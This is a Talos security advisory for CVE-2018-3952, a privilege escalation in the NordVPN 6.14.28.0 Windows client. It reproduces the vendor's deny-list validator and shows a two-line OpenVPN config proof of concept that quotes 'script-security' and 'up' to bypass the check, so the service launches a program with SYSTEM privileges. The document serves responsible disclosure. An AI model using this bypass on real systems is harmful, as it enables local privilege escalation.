Talos Vulnerability Report

TALOS-2018-0622

NordVPN VPN client connect privilege escalation vulnerability

September 7, 2018
CVE Number

CVE-2018-3952

Summary

An exploitable code execution vulnerability exists in the connect functionality of NordVPN 6.14.28.0. A specially crafted configuration file can cause a privilege escalation, resulting in the execution of arbitrary commands with system privileges.

Tested Versions

NordVPN 6.14.28.0

Product URLs

https://nordvpn.com/download/

CVSSv3 Score

8.8 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-78: Improper neutralization of special elements used in an operating system command ('OS Command Injection')

Details

The NordVPN VPN client is divided in two parts:

  • The GUI that is running with standard privilege.
  • A service that is running with system privilege.

The GUI is used to generate an OpenVPN configuration file, and asks the service to execute the OpenVPN with the configuration file in argument.

In April 2018, security firm VerSprite discovered and released CVE-2018-10169 (https://github.com/VerSprite/research/blob/master/advisories/VS-2018-017.md). To trigger this vulnerability, the attacker must add a parameter such as “plugin” or “script-security” in the OpenVPN configuration file. In this context, the plugin or the script will be executed by OpenVPN, which is executed by the service running as system.

NordVPN published a patch to check for the presence on the “plugin” and “script-security” option in the configuration file:

public class OpenVpnConfigSecurityValidator

{
    public bool IsValid(string file, out string reason)
    {
        reason = null;
        using (StreamReader streamReader = File.OpenText(file))
        {
            string text;
            while ((text = OpenVpnConfigSecurityValidator.ReadEntry(streamReader)) != null)
            {
                if (!text.StartsWithIgnoringCase("<tls-auth>") && !text.StartsWithIgnoringCase("<ca>") && (OpenVpnConfigSecurityValidator.StartsWithName(text, "plugin") || OpenVpnConfigSecurityValidator.StartsWithName(text, "script-security") || OpenVpnConfigSecurityValidator.StartsWithName(text, "up") || OpenVpnConfigSecurityValidator.StartsWithName(text, "down")))
                {
                    reason = string.Format("Invalid configuration file. Reason: {0}", text);
                    return false;
                }
            }
        }
        return true;
    }

    private static string ReadEntry(StreamReader stream)
    {
        string text = OpenVpnConfigSecurityValidator.ReadLine(stream);
        if (text == null)
        {
            return null;
        }
        if (OpenVpnConfigSecurityValidator.StartsWithName(text, "<ca>"))
        {
            string text2 = text;
            do
            {
                text = OpenVpnConfigSecurityValidator.ReadLine(stream);
                text2 += text;
            }
            while (!text.StartsWithIgnoringCase("</ca>"));
            return text2;
        }
        if (OpenVpnConfigSecurityValidator.StartsWithName(text, "<tls-auth>"))
        {
            string text3 = text;
            do
            {
                text = OpenVpnConfigSecurityValidator.ReadLine(stream);
                text3 += text;
            }
            while (!text.StartsWithIgnoringCase("</tls-auth>"));
            return text3;
        }
        return text;
    }

    private static string ReadLine(StreamReader stream)
    {
        string expr_06 = stream.ReadLine();
        if (expr_06 == null)
        {
            return null;
        }
        return expr_06.Trim();
    }

    private static bool StartsWithName(string line, string name)
    {
        return line.StartsWithIgnoringCase(name + " ") || line.StartsWithIgnoringCase(name + "\t") || line.EqualsIgnoringCase(name);
    }
}

By looking at the source code of the parse_line() function of OpenVPN (https://github.com/OpenVPN/openvpn/blob/5961250e776194a411a8dfc1670c5c0c73107bf8/src/openvpn/options.c) we can see that the configuration file supports the characters “ and ”.

Here is a proof of concept that bypasses the validation:

"script-security" 2
"up" C:\\WINDOWS\\system32\\notepad.exe

Notepad.exe will be executed with the system privilege.

Exploit Proof of Concept

Here is a POC that bypasses the validation:

"script-security" 2
"up" C:\\WINDOWS\\system32\\notepad.exe

Notepad.exe will be executed with the system privilege.

Timeline

2018-07-05 - Vendor Disclosure
2018-08-08 - Vendor advised patch is available
2018-09-07 - Public Release

Credit

Discovered by Paul Rascagneres of Cisco Talos.